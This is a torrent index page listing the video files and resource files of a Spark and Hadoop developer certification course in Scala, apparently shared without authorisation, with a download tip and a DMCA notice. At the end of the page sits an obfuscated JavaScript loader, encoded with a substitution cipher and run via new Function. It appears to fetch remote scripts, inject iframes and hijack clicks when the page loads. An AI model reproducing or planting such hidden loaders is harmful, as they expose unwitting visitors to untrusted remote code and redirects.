CCA 175 - Spark and Hadoop Developer Certification - Scala

mp4   Hot：701   Size：5.5 GB   Created：2019-04-15 02:26:59   Update：2021-12-13 09:29:44  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 05. Transform, Stage and Store - Spark/95. Solution - Develop as Scala based application.mp4 90.52 MB
    05. Transform, Stage and Store - Spark/59. Setup Spark on Windows.mp4 89.08 MB
    05. Transform, Stage and Store - Spark/93. Solution - Get Daily Revenue per Product - Sort and save to HDFS.mp4 88.61 MB
    08. Sample scenarios with solutions/153. Getting crime count per type per month - Implementing the logic - Data Frames.mp4 81.55 MB
    08. Sample scenarios with solutions/156. Get inactive customers - using Data Frames and SQL.mp4 75.04 MB
    08. Sample scenarios with solutions/160. Get word count - with custom control arguments, num keys and file format.mp4 70.63 MB
    04. Data Ingestion - Apache Sqoop/45. Sqoop Import - Delimiters and handling nulls.mp4 68.09 MB
    08. Sample scenarios with solutions/152. Getting crime count per type per month - Implementing the logic - Core API.mp4 68.07 MB
    06. Data Analysis - Spark SQL or HiveQL/99. Create Hive tables and load data in text file format.mp4 67.97 MB
    05. Transform, Stage and Store - Spark/61. Initializing Spark job using spark-shell.mp4 67.65 MB
    08. Sample scenarios with solutions/157. Get top 3 crimes in RESIDENCE - using Core Spark API.mp4 64.53 MB
    04. Data Ingestion - Apache Sqoop/56. Sqoop Export - Stage Tables.mp4 64.45 MB
    05. Transform, Stage and Store - Spark/63. Previewing data from RDD.mp4 64.45 MB
    08. Sample scenarios with solutions/155. Get inactive customers - using Core Spark API (leftOuterJoin).mp4 64.28 MB
    04. Data Ingestion - Apache Sqoop/49. Sqoop Import - Hive - Managing Hive tables.mp4 63.81 MB
    04. Data Ingestion - Apache Sqoop/39. Sqoop Import - Using split by.mp4 62.56 MB
    08. Sample scenarios with solutions/158. Get top 3 crimes in RESIDENCE - using Data Frame and SQL.mp4 62.3 MB
    07. Data Ingest - real time, near real time and streaming analytics/139. Flume and Spark Streaming - Department Wise Traffic - Setup Flume.mp4 61.65 MB
    07. Data Ingest - real time, near real time and streaming analytics/128. Kafka - Getting Started - Produce and consume messages using commands.mp4 61.15 MB
    05. Transform, Stage and Store - Spark/77. Aggregations using aggregateByKey.mp4 60.81 MB
    04. Data Ingestion - Apache Sqoop/46. Sqoop Import - Incremental Loads.mp4 60.59 MB
    03. Getting Started/28. HDFS Quick Preview.mp4 60.58 MB
    07. Data Ingest - real time, near real time and streaming analytics/121. Flume - Web Server Logs to HDFS - Introduction.mp4 60.36 MB
    05. Transform, Stage and Store - Spark/84. Set Operations - union, intersect, distinct as well as minus.mp4 59.35 MB
    05. Transform, Stage and Store - Spark/78. Sorting data using sortByKey.mp4 59.24 MB
    05. Transform, Stage and Store - Spark/69. Filtering the data.mp4 58.38 MB
    05. Transform, Stage and Store - Spark/75. Aggregations using groupByKey - least preferred API for aggregations.mp4 56.34 MB
    08. Sample scenarios with solutions/159. Convert NYSE data from text file format to parquet file format.mp4 56.19 MB
    06. Data Analysis - Spark SQL or HiveQL/103. Functions - Manipulating Strings.mp4 54.33 MB
    07. Data Ingest - real time, near real time and streaming analytics/120. Flume - Getting Started.mp4 53.97 MB
    04. Data Ingestion - Apache Sqoop/44. Sqoop Import - columns and query.mp4 53.76 MB
    04. Data Ingestion - Apache Sqoop/37. Sqoop Import - Execution Life Cycle.mp4 53.34 MB
    06. Data Analysis - Spark SQL or HiveQL/108. Joins.mp4 51.25 MB
    05. Transform, Stage and Store - Spark/71. Joining data sets - outer join.mp4 51.11 MB
    07. Data Ingest - real time, near real time and streaming analytics/144. Flume and Kafka integration - Run and validate.mp4 50.27 MB
    04. Data Ingestion - Apache Sqoop/55. Sqoop Export - Update and Upsert.mp4 49.74 MB
    07. Data Ingest - real time, near real time and streaming analytics/142. Flume and Spark Streaming - Department Wise Traffic - Run and Validate.mp4 48.74 MB
    05. Transform, Stage and Store - Spark/90. Solution - Get Daily Revenue per Product - Read and join orders and order_items.mp4 48.44 MB
    05. Transform, Stage and Store - Spark/67. Row level transformations using map.mp4 47.75 MB
    05. Transform, Stage and Store - Spark/97. Solution - Ship and run it on big data cluster.mp4 47.18 MB
    06. Data Analysis - Spark SQL or HiveQL/118. Data Frame Operations.mp4 45.35 MB
    06. Data Analysis - Spark SQL or HiveQL/112. Analytics Functions - Aggregations.mp4 45.26 MB
    07. Data Ingest - real time, near real time and streaming analytics/124. Flume - Web Server Logs to HDFS - Sink HDFS - Getting Started.mp4 44.77 MB
    06. Data Analysis - Spark SQL or HiveQL/115. Create Data Frame and Register as Temp table.mp4 44.57 MB
    04. Data Ingestion - Apache Sqoop/50. Sqoop Import - Import all tables.mp4 44.07 MB
    05. Transform, Stage and Store - Spark/92. Solution - Get Daily Revenue per Product - Read products data and create RDD.mp4 44.03 MB
    04. Data Ingestion - Apache Sqoop/34. Sqoop connect string and validating using list commands.mp4 43.87 MB
    05. Transform, Stage and Store - Spark/73. Aggregations - using actions (reduce and countByKey).mp4 43.84 MB
    08. Sample scenarios with solutions/151. Getting crime count per type per month - Understanding Data.mp4 43.29 MB
    05. Transform, Stage and Store - Spark/85. Save data in Text Input Format.mp4 43.22 MB
    04. Data Ingestion - Apache Sqoop/48. Sqoop Import - Hive - Simple Hive Import.mp4 42.99 MB
    07. Data Ingest - real time, near real time and streaming analytics/147. Kafka and Spark Streaming - Run and Validate.mp4 42.95 MB
    07. Data Ingest - real time, near real time and streaming analytics/143. Flume and Kafka integration - Develop configuration file.mp4 42.48 MB
    02. Scala Fundamentals/05. Basic Programming Constructs.mp4 42.23 MB
    04. Data Ingestion - Apache Sqoop/54. Sqoop Export - Column Mapping.mp4 42.17 MB
    04. Data Ingestion - Apache Sqoop/36. Sqoop Import - Simple Import.mp4 41.7 MB
    07. Data Ingest - real time, near real time and streaming analytics/125. Flume - Web Server Logs to HDFS - Sink HDFS - Customize properties.mp4 40.35 MB
    04. Data Ingestion - Apache Sqoop/52. Sqoop Export - Simple export with delimiters.mp4 40.21 MB
    05. Transform, Stage and Store - Spark/91. Solution - Get Daily Revenue per Product - Compute daily revenue per product id.mp4 39.35 MB
    06. Data Analysis - Spark SQL or HiveQL/109. Aggregations.mp4 38.65 MB
    02. Scala Fundamentals/13. Basic I_O Operations and using Scala Collections APIs.mp4 38.45 MB
    02. Scala Fundamentals/07. Object Oriented Concepts - Classes.mp4 37.96 MB
    04. Data Ingestion - Apache Sqoop/35. Run queries in MySQL using eval.mp4 37.91 MB
    07. Data Ingest - real time, near real time and streaming analytics/138. Spark Streaming - Get department wise traffic - Run on the cluster.mp4 37.83 MB
    02. Scala Fundamentals/06. Functions.mp4 37.38 MB
    05. Transform, Stage and Store - Spark/82. Get topNPricedProducts using Scala Collections API.mp4 37.04 MB
    07. Data Ingest - real time, near real time and streaming analytics/131. Spark Streaming - Getting Started.mp4 36.44 MB
    05. Transform, Stage and Store - Spark/62. Create Resilient Distributed Data Sets (RDD).mp4 36.08 MB
    05. Transform, Stage and Store - Spark/96. Solution - Run locally using spark-submit.mp4 35.93 MB
    04. Data Ingestion - Apache Sqoop/42. Sqoop Import - Using compression.mp4 34.84 MB
    03. Getting Started/27. Using Windows - Cygwin.mp4 34.74 MB
    04. Data Ingestion - Apache Sqoop/51. Role of Sqoop in typical data processing life cycle.mp4 34.39 MB
    08. Sample scenarios with solutions/150. Initializing the job - General Guidelines.mp4 34.19 MB
    05. Transform, Stage and Store - Spark/79. Global Ranking - using sortByKey with take and takeOrdered.mp4 34.09 MB
    05. Transform, Stage and Store - Spark/66. Manipulating Strings as part of transformations using Scala.mp4 33.46 MB
    07. Data Ingest - real time, near real time and streaming analytics/129. Kafka - Anatomy of a topic.mp4 33.46 MB
    06. Data Analysis - Spark SQL or HiveQL/104. Functions - Manipulating Dates.mp4 33 MB
    04. Data Ingestion - Apache Sqoop/38. Sqoop Import - Managing Directories.mp4 32.81 MB
    06. Data Analysis - Spark SQL or HiveQL/106. Functions - CASE.mp4 32.08 MB
    07. Data Ingest - real time, near real time and streaming analytics/137. Spark Streaming - Get department wise traffic - Development.mp4 32.02 MB
    07. Data Ingest - real time, near real time and streaming analytics/134. Spark Streaming - Ship and run word count program on the cluster.mp4 31.9 MB
    05. Transform, Stage and Store - Spark/81. Get topNPrices using Scala Collections API.mp4 31.87 MB
    04. Data Ingestion - Apache Sqoop/43. Sqoop Import - Using Boundary Query.mp4 31.58 MB
    02. Scala Fundamentals/19. Development Cycle - Setup IntelliJ with Scala.mp4 31.33 MB
    07. Data Ingest - real time, near real time and streaming analytics/133. Spark Streaming - Develop Word Count program.mp4 30.77 MB
    06. Data Analysis - Spark SQL or HiveQL/100. Create Hive tables and load data in ORC file format.mp4 30.55 MB
    02. Scala Fundamentals/11. Basic Map Reduce Operations.mp4 30.47 MB
    03. Getting Started/25. Using itversity's big data labs.mp4 30.02 MB
    05. Transform, Stage and Store - Spark/70. Joining data sets - inner join.mp4 29.77 MB
    06. Data Analysis - Spark SQL or HiveQL/116. Writing Spark SQL Applications - process data.mp4 29.69 MB
    02. Scala Fundamentals/03. Introduction and Setting up of Scala.mp4 29.47 MB
    05. Transform, Stage and Store - Spark/87. Saving data in standard file formats - Overview.mp4 29.41 MB
    05. Transform, Stage and Store - Spark/86. Save data in Text Input Format using Compression.mp4 28.82 MB
    04. Data Ingestion - Apache Sqoop/41. Sqoop Import - Different file formats.mp4 28.75 MB
    02. Scala Fundamentals/20. Development Cycle - Develop Scala application using SBT in IntelliJ.mp4 28.72 MB
    02. Scala Fundamentals/09. Object Oriented Concepts - Case Classes.mp4 28.29 MB
    02. Scala Fundamentals/08. Object Oriented Concepts - Objects.mp4 27.87 MB
    07. Data Ingest - real time, near real time and streaming analytics/135. Spark Streaming - Data Structure (DStream) and APIs overview.mp4 27.4 MB
    03. Getting Started/26. Using Windows - Putty and WinSCP.mp4 26.63 MB
    05. Transform, Stage and Store - Spark/68. Row level transformations using flatMap.mp4 26.5 MB
    05. Transform, Stage and Store - Spark/64. Reading different file formats - Brief overview using JSON.mp4 26.23 MB
    03. Getting Started/29. YARN Quick Preview.mp4 25.84 MB
    05. Transform, Stage and Store - Spark/76. Aggregations using reduceByKey.mp4 25.74 MB
    06. Data Analysis - Spark SQL or HiveQL/114. Windowing Functions.mp4 25.55 MB
    05. Transform, Stage and Store - Spark/89. Solution - Get Daily Revenue per Product - Launching Spark Shell.mp4 25.22 MB
    07. Data Ingest - real time, near real time and streaming analytics/146. Kafka and Spark Streaming - Develop and build application.mp4 24.65 MB
    06. Data Analysis - Spark SQL or HiveQL/117. Writing Spark SQL Applications - Save data into Hive tables.mp4 24.37 MB
    06. Data Analysis - Spark SQL or HiveQL/113. Analytics Functions - Ranking.mp4 24.06 MB
    07. Data Ingest - real time, near real time and streaming analytics/136. Spark Streaming - Get department wise traffic - Problem Statement.mp4 23.35 MB
    07. Data Ingest - real time, near real time and streaming analytics/145. Kafka and Spark Streaming - Add dependencies.mp4 23.09 MB
    03. Getting Started/24. Setup Environment - using Cloudera Quickstart VM.mp4 23.07 MB
    06. Data Analysis - Spark SQL or HiveQL/98. Different interfaces to run Hive queries.mp4 22.83 MB
    04. Data Ingestion - Apache Sqoop/33. Preview of MySQL on labs.mp4 22.25 MB
    02. Scala Fundamentals/04. Setup Scala on Windows.mp4 21.86 MB
    06. Data Analysis - Spark SQL or HiveQL/110. Sorting.mp4 21.37 MB
    02. Scala Fundamentals/16. Development Cycle - Compile source code to jar using SBT.mp4 21.33 MB
    07. Data Ingest - real time, near real time and streaming analytics/140. Flume and Spark Streaming - Department Wise Traffic - Add sbt dependencies.mp4 21.15 MB
    01. Introduction/02. Using labs for preparation.mp4 20.44 MB
    04. Data Ingestion - Apache Sqoop/53. Sqoop Export - Understanding export behaviour.mp4 20.3 MB
    07. Data Ingest - real time, near real time and streaming analytics/122. Flume - Web Server Logs to HDFS - Setup Data.mp4 20.28 MB
    05. Transform, Stage and Store - Spark/94. Solution - Add spark dependencies to sbt.mp4 19.98 MB
    05. Transform, Stage and Store - Spark/60. Quick overview about Spark documentation.mp4 19.69 MB
    04. Data Ingestion - Apache Sqoop/32. Accessing Sqoop Documentation.mp4 19.63 MB
    07. Data Ingest - real time, near real time and streaming analytics/130. Flume and Kafka in Streaming analytics.mp4 19.6 MB
    05. Transform, Stage and Store - Spark/83. Get top n products by category using groupByKey, flatMap and Scala function.mp4 19.58 MB
    07. Data Ingest - real time, near real time and streaming analytics/132. Spark Streaming - Setting up netcat.mp4 19.57 MB
    05. Transform, Stage and Store - Spark/80. By Key Ranking - Converting (K, V) pairs into (K, Iterable[V]) using groupByKey.mp4 19.54 MB
    01. Introduction/01. CCA 175 Spark and Hadoop Developer - Curriculum.mp4 19.32 MB
    07. Data Ingest - real time, near real time and streaming analytics/123. Flume - Web Server Logs to HDFS - Source exec.mp4 19.17 MB
    02. Scala Fundamentals/10. Collections - Seq, Set and Map.mp4 18.7 MB
    07. Data Ingest - real time, near real time and streaming analytics/127. Kafka - Getting Started - High Level Architecture.mp4 17.97 MB
    03. Getting Started/30. Setup Data Sets.mp4 17.82 MB
    06. Data Analysis - Spark SQL or HiveQL/107. Row level transformations.mp4 17.67 MB
    08. Sample scenarios with solutions/154. Getting crime count per type per month - Validating Output.mp4 17.64 MB
    02. Scala Fundamentals/15. Development Cycle - Developing Source code.mp4 16.39 MB
    07. Data Ingest - real time, near real time and streaming analytics/141. Flume and Spark Streaming - Department Wise Traffic - Develop and build.mp4 16.2 MB
    05. Transform, Stage and Store - Spark/72. Aggregations - Getting Started.mp4 15.19 MB
    06. Data Analysis - Spark SQL or HiveQL/105. Functions - Aggregations.mp4 14.9 MB
    05. Transform, Stage and Store - Spark/74. Aggregations - understanding combiner.mp4 14.36 MB
    04. Data Ingestion - Apache Sqoop/40. Sqoop Import - auto reset to one mapper.mp4 14.21 MB
    03. Getting Started/21. Introduction and Curriculum.mp4 14.03 MB
    06. Data Analysis - Spark SQL or HiveQL/101. Using spark-shell to run Hive queries or commands.mp4 13.37 MB
    06. Data Analysis - Spark SQL or HiveQL/111. Set Operations.mp4 13.2 MB
    08. Sample scenarios with solutions/149. Problem Statements - General Guidelines.mp4 12.63 MB
    07. Data Ingest - real time, near real time and streaming analytics/126. Flume - Web Server Logs to HDFS - Deep dive to memory channel.mp4 11.77 MB
    02. Scala Fundamentals/17. Development Cycle - Setup SBT on Windows.mp4 11.08 MB
    02. Scala Fundamentals/18. Development Cycle - Compile changes and run jar with arguments.mp4 10.95 MB
    02. Scala Fundamentals/12. Setting up Data Sets for Basic I_O Operations.mp4 10.94 MB
    06. Data Analysis - Spark SQL or HiveQL/102. Functions - Getting Started.mp4 10.85 MB
    05. Transform, Stage and Store - Spark/65. Transformations Overview.mp4 10.38 MB
    07. Data Ingest - real time, near real time and streaming analytics/119. Introduction.mp4 9.46 MB
    05. Transform, Stage and Store - Spark/57. Introduction.mp4 9.16 MB
    02. Scala Fundamentals/14. Tuples.mp4 9.05 MB
    08. Sample scenarios with solutions/148. Introduction to Sample Scenarios and Solutions.mp4 8.85 MB
    05. Transform, Stage and Store - Spark/88. Revision of Problem Statement and Design the solution.mp4 8.75 MB
    04. Data Ingestion - Apache Sqoop/47. Sqoop Import - Hive - Create Hive Database.mp4 6.87 MB
    04. Data Ingestion - Apache Sqoop/31. Introduction and Objectives.mp4 4.61 MB
    05. Transform, Stage and Store - Spark/58. Introduction to Spark.mp4 3.98 MB
    03. Getting Started/23. Setup Environment - Locally.mp4 3.53 MB
    03. Getting Started/22. Setup Environment - Options.mp4 3.02 MB
    02. Scala Fundamentals/3.1 ScalaFundamentals.pptx 53.91 KB
    05. Transform, Stage and Store - Spark/Resource.txt 8.82 KB
    07. Data Ingest - real time, near real time and streaming analytics/Resource.txt 7.37 KB
    04. Data Ingestion - Apache Sqoop/Resource.txt 5.48 KB
    06. Data Analysis - Spark SQL or HiveQL/Resource.txt 4.42 KB
    02. Scala Fundamentals/Resource.txt 3.77 KB
    03. Getting Started/Resource.txt 2.13 KB
    08. Sample scenarios with solutions/Resource.txt 1.12 KB
    01. Introduction/Resource.txt 548 B

Download Info

  • Tips

    “CCA 175 - Spark and Hadoop Developer Certification - Scala” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();